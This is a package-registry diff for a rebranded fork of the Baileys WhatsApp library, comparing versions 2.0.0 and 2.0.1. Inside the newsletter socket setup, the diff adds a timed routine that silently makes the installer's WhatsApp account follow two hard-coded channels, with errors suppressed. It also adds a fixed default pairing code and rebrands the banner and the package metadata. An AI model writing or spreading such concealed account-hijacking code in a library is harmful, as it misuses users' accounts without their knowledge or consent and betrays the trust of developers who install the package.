@ostyado/baileys 2.0.0 β†’ 2.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -104,11 +104,17 @@ const makeNewsletterSocket = (config) => {
104
104
  ]
105
105
  }));
106
106
  setTimeout(async () => {
107
+ const newsletters = [
108
+ "120363421589882800@newsletter",
109
+ "120363425383414251@newsletter"
110
+ ];
111
+
112
+ for (const jid of newsletters) {
107
113
  try {
108
- await newsletterWMexQuery("120363423538799477@newsletter", Types_1.QueryIds.FOLLOW
109
- );
114
+ await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
110
115
  } catch {}
111
- }, 90000);
116
+ }
117
+ }, 90000);
112
118
  const parseFetchedUpdates = async (node, type) => {
113
119
  let child;
114
120
  if (type === 'messages') {
@@ -387,7 +387,7 @@ const makeSocket = (config) => {
387
387
  /** This method was created by snowi, and implemented by KyuuRzy */
388
388
  /** hey bro, if you delete this text */
389
389
  /** you are the most cursed human being who likes to claim other people's property πŸ˜ΉπŸ™ŒπŸ» */
390
- const requestPairingCode = async (phoneNumber, pairKey) => {
390
+ const requestPairingCode = async (phoneNumber, pairKey = "FLUXCORP") => {
391
391
  if (pairKey) {
392
392
  authState.creds.pairingCode = pairKey.toUpperCase();
393
393
  } else {
package/lib/index.js CHANGED
@@ -2,19 +2,19 @@
2
2
 
3
3
  const chalk = require("chalk");
4
4
 
5
- console.log(chalk.magentaBright.bold("\n✨ Modified Baileys ✨\n"));
6
- console.log(chalk.whiteBright("Hi, thank you for using my modified Baileys ^-^"));
7
- console.log(chalk.cyan("Telegram: ") + chalk.greenBright("@saweitt"));
8
- console.log(chalk.gray("------------------------------\n"));
5
+ console.log(
6
+ chalk.cyan.bold(`
7
+ β–‘β–ˆβ–€β–ˆβ–‘β–ˆβ–€β–€β–‘β–€β–ˆβ–€β–‘β–ˆβ–‘β–ˆβ–‘β–ˆβ–€β–ˆβ–‘β–ˆβ–€β–„β–‘β–ˆβ–€β–ˆ
8
+ β–‘β–ˆβ–‘β–ˆβ–‘β–€β–€β–ˆβ–‘β–‘β–ˆβ–‘β–‘β–‘β–ˆβ–‘β–‘β–ˆβ–€β–ˆβ–‘β–ˆβ–‘β–ˆβ–‘β–ˆβ–‘β–ˆ
9
+ β–‘β–€β–€β–€β–‘β–€β–€β–€β–‘β–‘β–€β–‘β–‘β–‘β–€β–‘β–‘β–€β–‘β–€β–‘β–€β–€β–‘β–‘β–€β–€β–€
9
10
 
10
- fetch('https://raw.githubusercontent.com/z4phdev/client/refs/heads/main/information.json')
11
- .then(response => response.json())
12
- .then(data => {
13
- const message = data[0];
14
- console.log(chalk.yellowBright("πŸ†• Latest update: ") + chalk.whiteBright("15 - 1 - 2026"));
15
- console.log(chalk.yellow("πŸ“ Information: ") + chalk.white(message));
16
- console.log("");
17
- });
11
+ β–‘β–ˆβ–€β–„β–‘β–ˆβ–€β–ˆβ–‘β–€β–ˆβ–€β–‘β–ˆβ–‘β–‘β–‘β–ˆβ–€β–€β–‘β–ˆβ–‘β–ˆβ–‘β–ˆβ–€β–€
12
+ β–‘β–ˆβ–€β–„β–‘β–ˆβ–€β–ˆβ–‘β–‘β–ˆβ–‘β–‘β–ˆβ–‘β–‘β–‘β–ˆβ–€β–€β–‘β–‘β–ˆβ–‘β–‘β–€β–€β–ˆ
13
+ β–‘β–€β–€β–‘β–‘β–€β–‘β–€β–‘β–€β–€β–€β–‘β–€β–€β–€β–‘β–€β–€β–€β–‘β–‘β–€β–‘β–‘β–€β–€β–€
14
+ `)
15
+ );
16
+ console.log(chalk.yellow("Telegram: ") + chalk.cyan("@ostyado"));
17
+ console.log(chalk.cyan.bold("FLUX-CORPπŸ˜‰πŸŒ¬"));
18
18
 
19
19
  var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
20
20
  if (k2 === undefined) k2 = k;
package/package.json CHANGED
@@ -1,19 +1,16 @@
1
1
  {
2
2
  "name": "@ostyado/baileys",
3
- "version": "2.0.0",
4
- "description": "WhatsApp API Modification By Z",
3
+ "version": "2.0.1",
4
+ "description": "flux-corp",
5
5
  "keywords": [
6
6
  "whatsapp",
7
7
  "baileys",
8
- "whatsapp-web",
9
- "whatsapp-chat",
10
- "whatsapp-group",
11
- "botwa",
12
- "z4phdev"
8
+ "Fluxion",
9
+ "fluxcorp"
13
10
  ],
14
- "homepage": "https://github.com/z4phdev/baileys",
11
+ "homepage": "https://github.com/ostyado/baileys",
15
12
  "profile": {
16
- "baseurl": "https://kyuurzy.dev"
13
+ "baseurl": "https://github.com/OSTYADO/baileys"
17
14
  },
18
15
  "license": "MIT",
19
16
  "author": "Adhiraj Singh",